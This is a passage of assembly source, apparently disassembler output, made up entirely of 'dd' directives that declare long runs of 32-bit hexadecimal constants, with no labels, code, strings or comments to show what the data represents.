		dd 0E8411CE4h, 88503888h, 7EE8F9h, 99A64E80h, 9ED52ABAh
		dd 92ACD901h, 2CF3E42Eh, 46B4E0A0h, 646202F0h, 3141BF3Eh
		dd 6A71102Ah, 35680064h, 8A7246BFh, 0EE3CB15Ah,	140BC4DFh
		dd 0CDA22B79h, 0D54F7D02h, 88886652h, 2C63AA0h,	2E65F539h
		dd 10B33125h, 12F531E7h, 22E0A89Bh, 28420514h, 0C3C814ACh
		dd 0F7DF0C40h, 0CF378180h, 0B201B435h, 8BDE3F0Ah, 3344B8A0h
		dd 6CA2FD60h, 11F3B423h, 0F57F0026h, 6452ECA2h,	255F00B7h
		dd 0B0BF864Bh, 40A14506h, 80FF2F7h, 843D81BAh, 8C356FECh
		dd 814BDE18h, 382214B4h, 0EA18D427h, 175C10C7h,	4C073080h
		dd 58615C88h, 0A06D89FEh, 0F746D0D1h, 39646502h, 0B01C79BFh
		dd 33D080AFh, 0FEACFA3Eh, 0F44E0296h, 4B0A88BFh, 2B335C82h
		dd 0F6460044h, 38886438h, 23C471BFh, 646C7740h,	0B60AB1DAh
		dd 54318950h, 1D2C4676h, 9FDDF572h, 0C7083300h,	12EFFE0h
		dd 0B4699317h, 4706AC2Ah, 0C4020990h, 451255CEh, 60BCC48Ch
		dd 1E2FA0D3h, 86675DA7h, 21A9D451h, 171E9477h, 4D0068C3h
		dd 8BD8F3A8h, 9C8F00B7h, 0A756BC50h, 3630D53Bh,	0EAC13067h
		dd 7CE0A0CEh, 6840821Ch, 0E1454FC6h, 30EA1431h,	0FC10FE6Dh
		dd 22E06AE8h, 0E100FE65h, 0C75F568h, 7728541h, 0B6CA0196h
		dd 82390171h, 0B8AC306Fh, 1BCB140h, 1F22DD41h, 307589A2h
		dd 94A061F0h, 2E806AAEh, 0A214FED4h, 0D2D098F4h, 30FF0094h
		dd 6D7C0953h, 0D9C682D5h, 2040AB2Dh, 0D8AD4F4Ah, 6E5E93E0h
		dd 4FC50D81h, 33E03399h, 3076A29Ch, 5802F11Ah, 97D48CEDh
		dd 24C8641Bh, 0FC047972h, 231F821Dh, 8F792B40h,	50B812B4h
		dd 207E41Dh, 0F42EC5BDh, 0E0481187h, 2099A2ABh,	0FA8F3411h
		dd 0CBB46BA2h, 780028C7h, 3E52A2F2h, 0D7D41094h, 7426843Ah
		dd 96FD818h, 0DE30DF80h, 32538039h, 2D340648h, 198A6400h
		dd 4FDC1BCFh, 0B0335831h, 0B5B084h, 0DE912C5Bh,	7CA2587Fh
		dd 78C21F8h, 68E69BCFh,	2B753052h, 1214B6C6h, 628C2410h
		dd 9BB8C70h, 29115C9Dh,	5C502B8Ch, 34891C40h, 0CE2039DDh
		dd 0C02188F4h, 0AF55C831h, 19268930h, 45939Bh, 48601D18h
		dd 4BE7285Ch, 9F49C800h, 0A807C55Eh, 62809A26h,	0AF04D0F9h
		dd 0F4AE5D00h, 0C43D509Bh, 2E6C0F57h, 10B827FCh, 60928D69h
		dd 68196B46h, 264248FEh, 3772260h, 86FE6027h, 0F8108FC7h
		dd 6E000604h, 0EAF6E580h, 836150BBh, 671D6380h,	6A6839B2h
		dd 10FE6930h, 0E14AE8F8h, 17606126h, 0B4600581h, 42156C3Ah
		dd 0B5C883D8h, 4764B602h, 607B44C0h, 945D060h, 0C1BE062Ch
		dd 50C9402h, 39DEA000h,	9C5E6A8h, 26342AB6h, 0DFC1A020h
		dd 8AFE992Ch, 0EE4A5607h, 0B7C1C75Dh, 0FAF3C0EFh, 0C17F2031h
		dd 0E001CC9Ch, 0DC44C5Eh, 1220FD11h, 0C6810126h, 5774C276h
		dd 8E40856Dh, 481F7CCh,	0C84E8321h, 94C37488h, 6E98003Fh
		dd 0A316E8E0h, 0C2485B29h, 0C00232DAh, 0E0B8CD3Ah, 80222115h
		dd 9F899B00h, 0B837E21Eh, 4F47400Eh, 5896960h, 95FAA3h
		dd 0CE70DDBDh, 0CAF6B701h, 2D464A06h, 1296D4Eh,	0C5022E83h
		dd 0C407FAF0h, 0B4F4549Bh, 0B00D69E0h, 0B01F6832h, 306D8402h
		dd 0FF16FE6Eh, 343872E8h, 0FE660021h, 0CB2901B1h, 0CE3D443Fh
		dd 2CE8126Ch, 0C030EC08h, 0B46FA2FEh, 0E11CEB4Ch, 3930F67Ch
		dd 23AF01A8h, 0CFF45937h, 908C605Eh, 98E82540h,	2038B075h
		dd 5132D63h, 80425A88h,	5193F42Ah, 182EF144h, 0A98F00BCh
		dd 8450B8A3h, 0BF2C09F8h, 46745C27h, 0A41800BAh, 7E48F4DFh
		dd 0A7D5F7A0h, 8726C180h, 16374FC1h, 1EA8BB0Bh,	67401146h
		dd 0F5093818h, 652D2E64h, 30E680D0h, 3869E3F5h,	6C4EA8C5h
		dd 426ECC47h, 71A81FC0h, 1AF000B5h, 6B70854h, 0A3507FBFh
		dd 0F8C6FF4h, 0E8FDFE6Ch, 807C8831h, 0F1FE6423h, 270EED0Dh
		dd 0E6FC4916h, 25C07822h, 689D7A5Ah, 1E89B391h,	0B4CCFC01h
		dd 0A2C423BDh, 0D160327Ah, 551CA4C9h, 927BEFE5h, 88DB3223h
		dd 385DA080h, 1F03CAA6h, 0D444621Eh, 0A7B13DB6h, 9C7FFC00h
		dd 0E0B82C26h, 27179503h, 0E84F19F8h, 2CA3EC0Ch, 446CAA40h
		dd 0A2F86036h, 0DBB42369h, 7A002411h, 493EA2F0h, 4025DB6h
		dd 1BDC2C8Eh, 27F4C910h, 9237E7D0h, 0B4CF0958h,	741D65E5h
		dd 0DF802B11h, 747D8C0Ah, 0D7917A02h, 40C4212Ah, 821BFFA0h
		dd 23586C41h, 3120E2E4h, 2A60FA0Eh, 911D7894h, 0CCEA4AE9h
		dd 25C42885h, 289AF560h, 0B6DAFB0Ah, 0AC08B469h, 28477C84h
		dd 0D8C1DF00h, 0EEA8796Fh, 39903A54h, 0F8A1B72Ah, 53DCA617h
		dd 47BA852h, 5FD4200h, 8C44DCC4h, 0F3D3F801h, 0BD1CA3E8h
		dd 49BCC080h, 815EF134h, 0C138109Ah, 0DB7B98E0h, 84B110E8h
		dd 46563896h, 0DE4A0024h, 6ED27EF9h, 0BFAB042Ch, 4943C288h
		dd 8194B77Bh, 4648ECF0h, 3328351Dh, 3076A21Ch, 0BF0232B2h
		dd 0B3F48EDDh, 455C5015h, 540460B6h, 60BE2041h,	37781A0Dh
		dd 0A2A07311h, 4DC03026h, 1E021AFCh, 0BD246F59h, 0BF32E1CEh
		dd 602D6035h, 6915E7B8h, 0FCB4D4h, 2473E69Ah, 25CC49h
		dd 11764B15h, 0CED58E5Fh, 0D8F59B0Ch, 0B04AC0E5h, 2C6C9EC3h
		dd 680081Ch, 2C8BE803h,	0FE180285h, 290BEC96h, 0F8BC9083h
		dd 4463A824h, 60F53CC0h, 220D462Eh, 34E200BFh, 5F4BBCF5h
		dd 2E0C2710h, 500F2FDCh, 34FD4CBDh, 11267318h, 50B49288h
		dd 0A713241Fh, 483648C0h, 0E4D4B4AEh, 0A12C0278h, 7246E28Eh
		dd 1F20204Ch, 98ABEC3Bh, 74E07017h, 726E5B3Ah, 20082A18h
		dd 8C0BFD78h, 6449D990h, 0B7070024h, 0BF1BC0F2h, 79462CB0h
		dd 0B0467CA4h, 8A5E4E00h
		dd 2576BC3Eh, 0F44D7400h, 84998807h, 0B0F61CEAh, 444A3922h
		dd 0B956888h, 38C8986Dh, 32D20013h, 2EAD5831h, 93248D07h
		dd 3902A8ABh, 4AB66E83h, 9D608B1Ch, 807A11D0h, 0E1A145BAh
		dd 5E3FAF9h, 0D3DCA443h, 4E7CC916h, 0C0BC8810h,	4937E98Fh
		dd 336BF400h, 6E7EB601h, 0B13B60B9h, 1ADC3AB4h,	5DA4E096h
		dd 22C8002Dh, 942E7344h, 79467420h, 7804C800h, 0B594493Ah
		dd 50B16B98h, 41187AD1h, 6638F71Ch, 8C0E4980h, 0B42BFC2Ch
		dd 0D4943D9Ch, 278088AAh, 0A5AB23A1h, 0F497EC00h, 71DCB935h
		dd 19320AE8h, 2CA4BB2Dh, 0B2467468h, 270AE213h,	0F9C08850h
		dd 43B468A2h, 0F17B80D3h, 2AF42A2h, 0D8D6F11h, 48C1C2BEh
		dd 444E12ADh, 2841027Ch, 0DE6E207Ah, 0EF00C47Ah, 53E14615h
		dd 3048F20Ah, 2C39B6D5h, 780B0C3Ah, 4BA8F9h, 2FEACA6Ah
		dd 90172F8h, 6D3E8276h,	2EC4082h, 8F64BB21h, 80A0D401h
		dd 14404B49h, 9083B811h, 3F2A0188h, 1A12FAEh, 0C42DDEh
		dd 0A03B661Bh, 0AB8337h, 1FB8A516h, 3832B659h, 3F02F896h
		dd 0E776C257h, 607D44F8h, 1CC228h, 1BAB4C0Eh, 390137B8h
		dd 0A9A5B330h, 1F8C3BF1h, 9F8561Ch, 6A04A65Ch, 0B5048024h
		dd 404C0A80h, 6E187C14h, 57B96CB3h, 89DA07A5h, 0E007345Ch
		dd 6D982D6Fh, 394A82E3h, 0CDF1C987h, 0A3D8E098h, 5709A2C7h
		dd 0CA293256h, 68B407D0h, 585C01C8h, 340DCBF4h,	5E2080C4h
		dd 0DEC10261h, 444E7C7Bh, 8960C8F0h, 0BC6B6141h, 0C023FB4Ah
		dd 6B016823h, 5AE8FAFEh, 6324000Eh, 0DC1182FEh,	6E080195h
		dd 0F11CC381h, 6CCDDD80h, 8C74BC3Ch, 1018792Dh,	0EAA1140h
		dd 6C06209Ah, 0FA054260h, 0C407CD0Fh, 0B571E42Ah, 0F15CA519h
		dd 6463AC60h, 49BF2D3Fh, 7000F896h, 1203646Bh, 2E23B61Fh
		dd 39C0EC6h, 338139E5h,	60D0BD9Ah, 0DD183D60h, 173A37CAh
		dd 212C32A6h, 80398944h, 0AAD14851h, 75EE5Ah, 2A59D81h
		dd 0C48DFCD0h, 570901E2h, 5288F766h, 512A0010h,	110F559Eh
		dd 0D00BC7Bh, 0CE709F35h, 1EC09220h, 40D4756Dh,	5A98AA6h
		dd 88AA08C9h, 0B264D047h, 51A0460h, 2418BF29h, 3B806411h
		dd 352E67F5h, 33E50087h, 60965FF5h, 489CA33Eh, 2E6B023Ch
		dd 0CFBE4h, 3822C269h, 4CB4125Ch, 8C7BE850h, 0AACCC600h
		dd 5E2E5318h, 0BE5473BDh, 1D741074h, 820E9ECDh,	40838578h
		dd 96C9CA0h, 66EEEAC1h,	29638402h, 0A651DF01h, 90D5C092h
		dd 913B8FCCh, 0E7A5C100h, 5812B656h, 0EAB0C23Ch, 5C68048Bh
		dd 0D164FC5Ch, 940AB38h, 49D28E35h, 4528CA1Eh, 6473A600h
		dd 96D94F5h, 8D114162h,	3914B280h, 83B0D6D9h, 5885FC31h
		dd 9B13BE9Ch, 0B8B93983h, 8A270060h, 1132185Ah,	0DB7DD8A9h
		dd 56302095h, 13AC275Dh, 3298357h, 0E0C61B30h, 2C84A590h
		dd 0A85C6239h, 2E2090A0h, 8966177Dh, 0BB28C832h, 0B5F99700h
		dd 9574F808h, 67E410h, 50904478h, 0EFEB45CAh, 0AF6F162Eh
		dd 0FCD42C16h, 968E7C00h, 127ADC12h, 17F64D0Fh,	0DE74C082h
		dd 7606B6ECh, 0BFBC8B6Ah, 12B409E0h, 581E08h, 0A0F16483h
		dd 28022AB6h, 0F83FE42Ch, 4A88F804h, 24608002h,	0B65C31A1h
		dd 2C2820F0h, 940F6E2h,	0CCE003FCh, 0F1E9ED0Dh,	80BF1025h
		dd 270C927Ah, 60A3174Eh, 0C9023FB3h, 0BBEA4C8Eh, 40D88Ch
		dd 0FDD6A85Dh, 11181A34h, 3F0368DCh, 1F68D2B8h,	0C378089h
		dd 89512F23h, 979A38A0h, 5B777200h, 0D7E51D0Fh,	84055080h
		dd 5263006Eh, 6AF65A6Bh, 8C6014ABh, 0C4246670h,	0C02F6087h
		dd 632732C8h, 0CCEB59C4h, 1874C8Ch, 62BC7D8h, 68B46D97h
		dd 0B70780ACh, 1D5793CAh, 0D87B8250h, 0B03691DFh, 0E4581271h
		dd 0E87C58A4h, 9E078C78h, 805B6A50h, 0C1C4183Bh, 5E120095h
		dd 69818A1Ah, 0B71EBCD3h, 0A051B467h, 8343E2Ch,	0A8096C66h
		dd 0CA30E8E0h, 485AE957h, 0D5F540DFh, 61F2BA8Bh, 27E86248h
		dd 0B8A42267h, 0C1F8A1D6h, 1ECC14DAh, 40314AADh, 0D07EEEE8h
		dd 5B78DCB5h, 0C7E3BD00h, 0D3FCE4D9h, 24567973h, 81C8655h
		dd 0C61C788Ah, 54CBCA17h, 63C025C8h, 3501ECF6h,	8E19850Ch
		dd 0C3BFC8FCh, 0AE80FC95h, 0B3738C9Bh, 0B0650E18h, 1E27790h
		dd 95D239DFh, 2B32A0BDh, 0C0183C27h, 2E62F53Eh,	0BE221D46h
		dd 0F500E073h, 0DB4B7A38h, 0A8881392h, 0EA5E619Ch, 8DEB0349h
		dd 0BE6CF1C1h, 80071904h, 0DC904D9Eh, 831153F4h, 731A8818h
		dd 4BF7EC19h, 0F5204B3Ah, 64D0C433h, 694BBF3Bh,	740094CBh
		dd 50E2646Fh, 19004CBCh, 0D91C5B8Eh, 62C6DF0h, 0A425BDA3h
		dd 0D1F108A0h, 19F0B2E7h, 4430C7FFh, 0E3186079h, 236B0273h
		dd 8260ABEAh, 46762454h, 8AD90F26h, 661FE092h, 2FB55357h
		dd 0EC897280h, 0BAB24402h, 18119C2Ah, 0F390D935h, 322BB238h
		dd 0DDA34940h, 0D15A6000h, 0B0BC80DCh, 7AC62F2Ah, 7891C41Dh
		dd 5C991F80h, 0D71323ACh, 848BDCC9h, 0F3C0BFC8h, 2C6B608Ah
		dd 87CF640h, 66018110h,	2BDBE4AEh, 3614A429h, 76C49445h
		dd 0E818ADA3h, 47D60067h, 69C613CCh, 0BE08ECCDh, 112F01Ah
		dd 92B93960h, 0FC3B2F65h, 3402B023h, 90EE6D15h,	3A39622Ch
		dd 0FC4874BBh, 1E8CBBF8h, 0EF48E5h, 0A502F2BDh,	0EC142EE9h
		dd 94345Fh, 0BF2C5B56h,	947EB150h, 74465ED0h, 0B7698B01h
		dd 0E0A4BAE6h, 802D271Bh, 91801732h, 90978020h,	4732D7Bh
		dd 3234040Dh, 0CAC4C1C5h, 8FD46085h, 743C2540h,	71E53AF4h
		dd 0FB388DC0h, 0E86EAEF9h, 0B8C4421Ch, 38184C0Eh, 58115CFh
		dd 97780AF0h, 0BC91F81Dh, 0C0EDF385h, 0B8C068B9h, 185BD503h
		dd 0A0AD53E8h, 122ED24Dh, 0E4DF3193h, 0CD00BD08h, 0EFEC6968h
		dd 0FD90F3F8h, 95002B78h, 731474C1h, 0AD0BEB0Eh, 2107DC2Ch
		dd 0CDE5BDE4h, 23343A3Ah, 0C780221h, 50C0EA56h,	4C924FE4h
		dd 359EA70Bh, 0C80C8022h, 5DEC76Dh, 64A60D3Ch, 319D8356h
		dd 3B9632A8h, 0C65C6E0Ah, 783F8EAh, 0C4887489h,	0A71088C0h
		dd 385C9969h, 61662C98h, 74008D37h, 6221AF5Ah, 13CCEAFFh
		dd 81A832C2h, 3DB16EDCh, 3AB604D8h, 0FB200588h,	98BC731Dh
		dd 254674h, 988F5C8h, 3412B435h, 81582F80h, 2BC64C0h, 4C9F43D4h
		dd 0B3E86CA8h, 4E6D188Ch, 0CEE8E971h, 8B3F181Fh, 0E0DCF140h
		dd 705E819Bh, 0A49E06CFh, 0D083B3EAh, 0DEB4BCh,	2C6368D5h
		dd 0FC2EF8AAh, 26235F20h, 40883DF1h, 430F481Ch,	83EAEB0Ch
		dd 305D71FFh, 0D0A96A4Eh, 8100415Ah, 9B916E99h,	24E7C47Eh
		dd 305BD42Ch, 32B45750h, 9810D02Ah, 8894B310h, 0B6265B00h
		dd 0E85FFA31h, 341AD8F1h, 8A140754h, 0B910C083h, 0A37B26BFh
		dd 0A06C1DC8h, 552E6D13h, 0E8226409h, 7C5E028h,	27B5465Ch
		dd 8CDFE0C2h, 3795A12Fh, 0C9B900F8h, 0E4812E35h, 0F860ED0Bh
		dd 7E1C82A4h, 0C2CF007Ch, 4A011D93h, 0C16F6601h, 7020C4EAh
		dd 4CB989h, 27505682h, 3BE6FCFAh, 4F656C1Ch, 0F46069F0h
		dd 0C83238F3h, 99D7900h, 0D9BC3552h, 22825000h,	265C6C54h
		dd 61120565h, 0A6249FF9h, 22BAE0ACh, 0DB7604A5h, 0C0B20D67h
		dd 9EA91DCCh, 1574BC03h, 809A7E6Fh, 661B8BBh, 4F3B24DBh
		dd 0F200A96Eh, 6850C91Bh, 152EC34h, 0AA43FBE6h,	30DA2D44h
		dd 2A4087F8h, 5B7CB869h, 0E0F803BEh, 4BE1A0F9h,	0A4207056h
		dd 149E2B40h, 0E493F4A3h, 24E26842h, 9B5DE30h, 228B8DE9h
		dd 2133C082h, 96C88100h, 0BE75AF4h, 8C9D5724h, 0A4812011h
		dd 0F9D4C00Ch
		dd 0EF2C0AAh, 0CEA84F3Bh, 0F6B70840h, 1EBB8263h, 90E4607Eh
		dd 96A44819h, 58A41011h, 611D8C10h, 9A180C32h, 0D5110EDFh
		dd 8040B55Ch, 0F802DD47h, 27BC0196h, 0A9766B4Dh, 46ADE87Ah
		dd 0B0EB4128h, 3DFE9772h, 3770E300h, 6714FFCh, 63B61D79h
		dd 6200BA36h, 654EBE6Eh, 4C00DA43h, 0A30D6657h,	593670h
		dd 0D5F760B6h, 2C7251B7h, 5261A51Dh, 0B539A400h, 0C14A3D4h
		dd 31BCD6D1h, 21D04929h, 1E391918h, 0A4DB0649h,	0F86F0A4h
		dd 0A12C3DDDh, 0C0C8B869h, 0A49CE4A8h, 7A5E8841h, 0D71C0505h
		dd 4A8CA24h, 3EB36EA4h,	0D6A86B40h, 240462ECh, 0B587F0DCh
		dd 2332F880h, 0E8B8A890h, 86C825A3h, 0E6122441h, 3482FC4Ah
		dd 905180C0h, 551828D9h, 0E651A8EAh, 0A6002060h, 84FC4358h
		dd 0A1F161Bh, 86F81D88h, 1963F42Eh, 0A616F178h,	0C3B3761h
		dd 8039BA23h, 0C7FCE703h, 0F9EFE3h, 50F747ADh, 0A0317EB6h
		dd 302074B0h, 839E231Fh, 4656442Eh, 374A0027h, 0FB2B9AE5h
		dd 44984C5Eh, 0C9F10501h, 0BA72A6A8h, 0ADEBCF8h, 0B4DB12B6h
		dd 4674D82Eh, 0E4C41C7Ch, 4130F500h, 0F4C89BD9h, 0B2801305h
		dd 23B4D160h, 2EEC7D20h, 60C054F2h, 5BBF3C64h, 73902C51h
		dd 5F646800h, 0D4EF606Ch, 2E0E0506h, 0A93DF2E7h, 1FB0E8B0h
		dd 9F4271Bh, 28C60158h,	3E88C889h, 0CBBCA040h, 30ADFAh
		dd 0DFA154C1h, 5DFEB351h, 5505CD02h, 51A3FFB5h,	18787988h
		dd 0A538018Eh, 393F9D57h, 4CC03DB0h, 2FE710E4h,	876DBF0Bh
		dd 75E460C5h, 0B3EC2D60h, 24682924h, 61AFD50Ch,	31170155h
		dd 0B982DCBBh, 66CC243Bh, 37318490h, 1FBB790Ch,	0BCF8D06Ch
		dd 0E6A0008Ch, 8481D9B7h, 6490C932h, 0E7BD0704h, 0C8D458h
		dd 32445F85h, 0D4F95618h, 0AAA29A00h, 0FE31AF5Eh, 12B4B9D5h
		dd 0EB030999h, 0D386D680h, 29002641h, 0B0B8472Ah, 90907DE8h
		dd 3E498B3h, 31C667E1h,	0DFC06B56h, 0F8785816h,	45D643Eh
		dd 138B076Eh, 446564A1h, 2BBC4828h, 1E6DFE8Ch, 72B16E52h
		dd 0E890D419h, 8D02A0CEh, 0C9024DF0h, 7E28CA88h, 890EDED4h
		dd 1C5A69Bh, 0C2B44FDDh, 802484ECh, 7026BBE8h, 0BE0594B7h
		dd 2CB0C01Ah, 0B9391A61h, 0D8DC4920h, 426A1CDCh, 1FD1D7B6h
		dd 0F1C3871Dh, 0C5D60DEh, 0F7E26D5Bh, 54DF3339h, 7F00D680h
		dd 8CA011F9h, 5684AB0h,	34EF0C20h, 0D5BC064Bh, 0DE0061ACh
		dd 4017B9D6h, 631E174h,	6D8771E8h, 671728F5h, 0B8113EFFh
		dd 0BC8849D0h, 243BE8CAh, 2A40882h, 0B8388BEAh,	3E3E34C5h
		dd 19AE31ABh, 482C7432h, 4827423Eh, 0FD097442h,	7ECE945Ah
		dd 68F0D3A0h, 0DC9BF8h,	37982C5Bh, 506A1EB0h, 0C31E7420h
		dd 64ECC767h, 69216123h, 6E36D61h, 948BE281h, 3F0C98A0h
		dd 3176E5A8h, 2AB82DBDh, 684E9803h, 7A2C3100h, 0F2BFCF79h
		dd 41AC7E61h, 0F16026F0h, 0AD42569h, 0B9F34C96h, 0BA5C954Ah
		dd 0CAB89580h, 0A780CA71h, 0DF99010Ch, 609E545Ch, 0E894663Ch
		dd 76465Eh, 97F9A939h, 5027F48Eh, 1ABBA80Eh, 7075C6B8h
		dd 1DC1C5Ch, 7C9B1FA4h,	0C9043355h, 19832D4h, 3A05670Ah
		dd 0C4DC705Ah, 0CFEA2437h, 7D898178h, 39476E0Dh, 0ECAD2488h
		dd 690E39DEh, 0C665C580h, 3AB4CD9Eh, 89813BE4h,	0FDECA0D2h
		dd 1B80AB1h, 0F198ABFFh, 0E0071246h, 24EAB4F0h,	3E12D096h
		dd 524F300Bh, 0E11F009Ch, 0B5F5B992h, 430062B1h, 6A9C015Eh
		dd 90B628ABh, 0B7CDF620h, 2A803C37h, 314010BAh,	3A8012BFh
		dd 2885346h, 72F28840h,	1F4064EFh, 49D0B25h, 0EADC12E7h
		dd 8008BCECh, 0A9466EB3h, 0BFFC0F6Ah, 80DCDAE7h, 5908103Eh
		dd 0E8163A65h, 0FC90188Bh, 7933A124h, 8E44F55Bh, 0C7098CA2h
		dd 9C83506Ah, 0B4A8AD0Ah, 0B61C0967h, 0F46A231Dh, 200BD73Eh
		dd 988D210h, 90623A4Ch,	7944D067h, 0A2BC5060h, 0AB502561h
		dd 442AAC54h, 1819C05Ch, 0FA1A1E58h, 181F9F2Dh,	54892991h
		dd 64A58C79h, 0DE170000h, 0E028970Ah, 0A0FC7A52h, 3A4C3C00h
		dd 2177D880h, 682079Ch,	15F9B0BBh, 0CD18D024h, 0A49876C2h
		dd 3885402Ch, 0DA17CC42h, 3FB81374h, 81A4DE61h,	7FE42E4Ah
		dd 525CF024h, 0B1E2243Fh, 2741C730h, 6CC4A64Ah,	82223300h
		dd 0B2B084A7h, 6076004Bh, 2CA49F2Fh, 370E7FC7h,	806DD8FCh
		dd 5AA8C994h, 0C89D9D51h, 1F80B291h, 37DE94C3h,	0E896C8A8h
		dd 6902D870h, 0EF1C2167h, 0A6004984h, 0D94E6200h, 90CB3B4Bh
		dd 9763DE10h, 75C8388Ah, 0B707B3C0h, 0F2B616FAh, 0A11B1215h
		dd 60302ED4h, 252EC6BDh, 0D80013FCh, 8D1C5B66h,	0A3B41E0Bh
		dd 115C1D45h, 0A916872Fh, 0CA1C7510h, 9EC313C4h, 2D20E503h
		dd 1D34B8ECh, 80EA052Ch, 0CB3EE2F8h, 0F2EBA8C4h, 0C3E4BD20h
		dd 341351E8h, 0DFC0FC41h, 230C6B2Fh, 41CB007Ch,	0C92BC5DCh
		dd 0A4AC673Dh, 7C00E68Ah, 868EE3E5h, 2516FA0Bh,	0E891A01Ah
		dd 6AB435F8h, 26231C2Fh, 0B3621000h, 242F0821h,	84CD7FEh
		dd 4E0D75F2h, 2441A193h, 8D038FFCh, 824687C0h, 23D2BC01h
		dd 39104348h, 0C5D58E0h, 0B7243257h, 8B396239h,	92E4188h
		dd 98F18C00h, 2CBC1204h, 6C58B810h, 0D501B93Ah,	0B65094A3h
		dd 70047A5Eh, 0C89E6A8h, 4A7D1887h, 201A41FEh, 0E741841Bh
		dd 0BCC84E5Dh, 91E502A2h, 0FCB8F8Eh, 5C8480DDh,	4A13FD0Ah
		dd 1B70A3C9h, 0C091B539h, 32BBE8C6h, 0D4B0A3D0h, 0E45B30E6h
		dd 34569CD0h, 18803112h, 78B66E78h, 0E8519E28h,	0FDB51470h
		dd 98109CA0h, 672573BEh, 8F0CE61h, 79F6801Fh, 7005B91h
		dd 0A618C3BDh, 0CF4073C9h, 10C0AB88h, 0B24B480h, 843CD7E2h
		dd 0B7402BD0h, 0F855D9E6h, 0C424210Bh, 0C83CE083h, 1728905Bh
		dd 0A22E7E3Ah, 0B4D84A04h, 5EEA4270h, 0B414C46Ah, 5F12D0B5h
		dd 0E800AC0Bh, 2A008C20h, 8548FC4Dh, 19A55DBh, 0E0C1F85Bh
		dd 427047F9h, 985CC78Ch, 111C1D69h, 0BFDD8022h,	0A07B82A0h
		dd 0E8401EBCh, 3837B53Dh, 0C14EFA80h, 5484B67h,	0FCAE8A18h
		dd 0B1B05233h, 82F7BD4h, 0A9007C23h, 0F1D266DDh, 0F7103E4Fh
		dd 0B6613882h, 3468343Ah, 0DCB1CA3Eh, 841827D1h, 67D78C00h
		dd 896A90EEh, 10378824h, 0EAF86D5Bh, 1AEB1Eh, 9FC1385Eh
		dd 863FAD56h, 3A097903h, 625AA005h, 48E85A40h, 444088A7h
		dd 9F180032h, 281F7D89h, 75531671h, 3374A2B0h, 185E39DAh
		dd 0E42CE57Ah, 2141602Fh, 50A1F206h, 41B0A8E0h,	0D83C6002h
		dd 22E1A741h, 0CCC76C47h, 9112F96h, 90AB42F7h, 0F471704Ah
		dd 0E410C5A5h, 7647602Eh, 35FF0B2Dh, 84805285h,	783AB4CFh
		dd 0BB991461h, 8878A0FCh, 5C8C2AECh, 353915D8h,	0E3A440CEh
		dd 0F78EE85Ch, 8285DB3Ah, 95F44F55h, 0CC874D5h,	82B693D2h
		dd 408D9100h, 0F4EAF72Fh, 0ED62F6B6h, 517A08BCh, 1997E8ECh
		dd 0F38F239h, 0E004E46Eh, 1A4C1CDCh, 755A17CDh,	0B4E80F18h
		dd 0E720C853h, 5AE2688h, 1ED8A87Ah, 0F0B08D8Eh,	0AF05ADBEh
		dd 7191EC2Ah, 9C04B412h, 580E44FEh, 0E090F6D3h,	3D1BDA48h
		dd 7E8BF24Fh, 0D4CADC24h, 0C47320D8h, 41908388h, 0BC282B89h
		dd 24B9860Ah, 0F818BC59h, 0DB001C75h, 0BDEBF929h, 964C22B4h
		dd 8BE203D0h, 780283ACh, 77E7A83Eh, 0BC84C839h,	0FF2B1344h
		dd 800C9B5Dh, 4D69E351h, 53D73AE0h, 0B82B5B8Bh,	2EE4A465h
		dd 0D888F563h, 0BD17ECACh, 80849AA0h, 44CC4ACh,	1C8C29E8h
		dd 5F6E37EEh, 0F3A612B2h, 3029B29Ch, 222EB678h,	528514C8h
		dd 0C89590B3h, 2C58FC04h
		dd 37208016h, 86715031h, 0B4A6AA02h, 5922701Ah,	0F44DAF90h
		dd 33901F40h, 31780009h, 0A4C29EB3h, 5801B7CFh,	0BD013D5Ah
		dd 6C64C7C6h, 386B4D4Eh, 0F756007Eh, 2F3A213h, 6C00752Eh
		dd 32E0C65Ch, 2FF48E19h, 744D5881h, 0CF7B3AC1h,	11A408A6h
		dd 4DF861FFh, 572ABF21h, 0A258E3F0h, 73B630BAh,	0E71EB079h
		dd 284BD45Ch, 44848266h, 2044728Ch, 88272494h, 4764E20Fh
		dd 6021449Ch, 4C02B3E3h, 1810DCEEh, 2AF841AEh, 0A0ACEC35h
		dd 78C78ACh, 6A5FAEFAh,	88BF0005h, 68906ECEh, 7C9161FCh
		dd 2AB45607h, 90B42525h, 5C8E4074h, 0F4D42C17h,	0CEB74480h
		dd 49521FA3h, 9FE4027Fh, 0E8D6A812h, 0B224674h,	7B3BBF50h
		dd 0B39770BCh, 88B481Dh, 8C63A835h, 0A7BCE168h,	65E1B400h
		dd 21C450A5h, 0A3777460h, 37016302h, 0E848A6A8h, 0FA3AD210h
		dd 0B666E0BDh, 0A2B816C0h, 0E05880C4h, 0EC7B207Fh, 550E0015h
		dd 0A8FB4EE7h, 0A0008950h, 671370EEh, 4802E8FFh, 0BEE88019h
		dd 43B8008Ch, 0A28E8060h, 0A018BF32h, 0FCA84222h, 0D0834B9Eh
		dd 0E1A85D9Ch, 0BC441496h, 3ED0930h, 565C05FAh,	0F682268h
		dd 9825D4E6h, 9DF187DDh, 8665D4C1h, 8309B0DCh, 5659B35Ch
		dd 4A18DC64h, 0C6B0416Bh, 8BB09C4Bh, 107987F0h,	601920D9h
		dd 0C7188AE5h, 54193C88h, 459500C2h, 6208CF44h,	4F3087FEh
		dd 150DE172h, 2B7B003Eh, 0C7D27C6Ch, 701D7383h,	0A740679Eh
		dd 84A15531h, 80D75BE4h, 375C6E50h, 80648948h, 0A56DAD2Fh
		dd 24C6073Eh, 0F006FD84h, 0C4A69D50h, 0B0875807h, 0B6976278h
		dd 5B663E40h, 0B9997F2Ch, 182BD17Ch, 0DBBB2648h, 61C613B0h
		dd 2A5CCF78h, 0BD23402Fh, 15D50300h, 932AA5h, 0F0D6B76Eh
		dd 0AE463A34h, 179BE418h, 97B8F160h, 0B4DC5812h, 0F899E941h
		dd 0E86DEC61h, 0E5A8127Ch, 0E23CB363h, 0E03C312Bh, 6601FD35h
		dd 25AFBA8Ch, 406FD492h, 0CD7CA9F0h, 8827B0BBh,	0C4CCE70Ah
		dd 40226020h, 0D6A8122Bh, 0AE34F3EEh, 80E49B4Ah, 9929142h
		dd 0F31F09ADh, 80206F4Eh, 316ACBA4h, 0F2A1AC00h, 0DE4F8B04h
		dd 0A92404A2h, 0A80C1AB6h, 0C9B5E8Ch, 0BCF66781h, 0C74428E1h
		dd 0CBF63235h, 207498C1h, 140D8654h, 7004083Ah,	0A710284Bh
		dd 0E82E963Eh, 9E002123h, 6E4DA359h, 6FE896B9h,	1334B392h
